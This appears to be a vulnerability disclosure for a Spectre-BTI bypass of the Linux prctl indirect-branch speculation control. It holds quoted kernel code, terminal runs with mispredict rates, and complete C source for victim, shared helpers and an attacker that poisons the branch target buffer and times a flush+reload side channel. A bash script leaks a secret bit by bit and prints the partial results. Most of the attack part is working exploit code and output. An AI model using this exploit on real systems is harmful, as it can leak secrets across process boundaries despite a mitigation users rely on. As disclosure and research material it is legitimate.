static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
    /*
     * Indirect branch speculation is always allowed when
     * mitigation is force disabled.
     */
    if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
        spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
        return -EPERM;

    if (!is_spec_ib_user_controlled())
        return 0;

    task_set_spec_ib_disable(task);
    if (ctrl == PR_SPEC_FORCE_DISABLE)
        task_set_spec_ib_force_disable(task);
    task_update_spec_tif(task);
    break;

static void task_update_spec_tif(struct task_struct *tsk)
{
	/* Force the update of the real TIF bits */
	set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);

	/*
	 * Immediately update the speculation control MSRs for the current
	 * task, but for a non-current task delay setting the CPU
	 * mitigation until it is scheduled next.
	 *
	 * This can only happen for SECCOMP mitigation. For PRCTL it's
	 * always the current task.
	 */
	if (tsk == current)
		speculation_ctrl_update_current();
}

static __always_inline void __speculation_ctrl_update(unsigned long tifp,
						      unsigned long tifn)
{
	unsigned long tif_diff = tifp ^ tifn;
	u64 msr = x86_spec_ctrl_base;
	bool updmsr = false;

	lockdep_assert_irqs_disabled();

	/* Handle change of TIF_SSBD depending on the mitigation method. */
	if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_ssb_virt_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
		if (tif_diff & _TIF_SSBD)
			amd_set_core_ssb_state(tifn);
	} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
		   static_cpu_has(X86_FEATURE_AMD_SSBD)) {
		updmsr |= !!(tif_diff & _TIF_SSBD);
		msr |= ssbd_tif_to_spec_ctrl(tifn);
	}

	/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
	if (IS_ENABLED(CONFIG_SMP) &&
	    static_branch_unlikely(&switch_to_cond_stibp)) {
		updmsr |= !!(tif_diff & _TIF_SPEC_IB);
		msr |= stibp_tif_to_spec_ctrl(tifn);
	}

	if (updmsr)
		wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}

Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
  * Indirect Branch Restricted Speculation (IBRS)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates IBRS capability:  YES  (SPEC_CTRL feature bit)
  * Indirect Branch Prediction Barrier (IBPB)
    * CPU indicates IBPB capability:  YES  (SPEC_CTRL feature bit)
  * Single Thread Indirect Branch Predictors (STIBP)
    * SPEC_CTRL MSR is available:  YES
    * CPU indicates STIBP capability:  YES  (Intel STIBP feature bit)
  * Speculative Store Bypass Disable (SSBD)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker  0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000  
Rate: 1000/1000  
Rate: 999/1000  
Rate: 1000/1000  
Rate: 1000/1000  
Rate: 997/1000  
Rate: 994/1000  
Rate: 996/1000  
Rate: 998/1000  
Rate: 993/1000  
Total misspredict rate: 9918/10000 (99.18 %)

PRCTL GET value 0x9
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Rate: 0/1000  
Total misspredict rate: 0/10000 (0.00 %)

Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)

esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)

//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

int main(int argc, char *argv[])
{

    setvbuf(stdout, NULL, _IONBF, 0);
    printf("running victim %s\n", argv[1]);

    //only call safe_function
    codePtr = safe_function;
    char secret[20];
    char *sharedmem = open_shared_mem();
    unsigned idx = string_to_unsigned(argv[1]);

    //call for prctl to protect this process
    protect_me();

    //only then load the secret into memory
    load_secret(secret);

    for (int i = 0; i < 100; i++)
    {
        flush((char *)&codePtr);
        //this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
        //Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
        spec(&sharedmem[2000], secret, idx);
    }
}

#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>

char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];

// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}

// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
    volatile char d;
    if ((secret[idx / 8] >> (idx % 8)) & 1)
        d = *addr;
}

// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
    asm volatile(
        "clflush [%0]                   \n"
        :
        : "c"(adrs)
        :);
}

// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{

    for (register int i = 0; i < 30; i++)
        ;
    codePtr(addr, secret, idx);
}

// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
    int fd = open("sharedmem", O_RDONLY);
    char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
    // ensure page is on memory
    volatile char d = res[2100];
    return res;
}

// load secret from file
void load_secret(char *secret)
{
    FILE *fp = fopen("secret.txt", "r");
    fgets(secret, 20, (FILE *)fp);
}

// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
    usleep(1000); //not needed but resets the available time on scheduler
    prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}

// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
    return atoi(s);
}

//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"

#define PRINTNUM 1000

unsigned probe(char *adrs)
{
    volatile unsigned long time;
    asm __volatile__(
        "    mfence             \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    lfence             \n"
        "    mov esi, eax       \n"
        "    mov eax,[%1]       \n"
        "    lfence             \n"
        "    rdtsc              \n"
        "    sub eax, esi       \n"
        "    clflush [%1]       \n"
        "    mfence             \n"
        "    lfence             \n"
        : "=a"(time)
        : "c"(adrs)
        : "%esi", "%edx");
    return time;
}

int main(int argc, char *argv[])
{

    //Make spec function confuse safe_function with spectre_gadget
    codePtr = spectre_gadget;

    char dummy;
    int hits = 0;
    int tries = 0;
    char *sharedmem = open_shared_mem();
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1)
    {
        //Inject the target in the BTB
        spec(&dummy, &dummy, 0);

        //Allow for victim to execute and misspredict to spectre_gadget
        usleep(1);

        //probe the 1-bit flush+reload side channel
        if (probe((char *)&sharedmem[2000]) < 0x90)
        {
            printf("+");
        }
    }
}

taskset -c 0 ./attacker >> result.txt &

for i in {0..144}
do
    echo "Leaking bit $i... "
    echo -e -n "Leaking bit $i: " >> result.txt
    sleep .01
    for j in {0..10}
    do
        taskset -c 0 ./victim $i >/dev/null
    done

    echo "" >> result.txt
done

python3 parseResult.py 

make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)

Leaking bit 0: +++++++++++
Leaking bit 1: 
Leaking bit 2: 
Leaking bit 3: 
Leaking bit 4: 
Leaking bit 5: 
Leaking bit 6: ++++++++++
Leaking bit 7: 
Leaking bit 8: ++++++++
[...]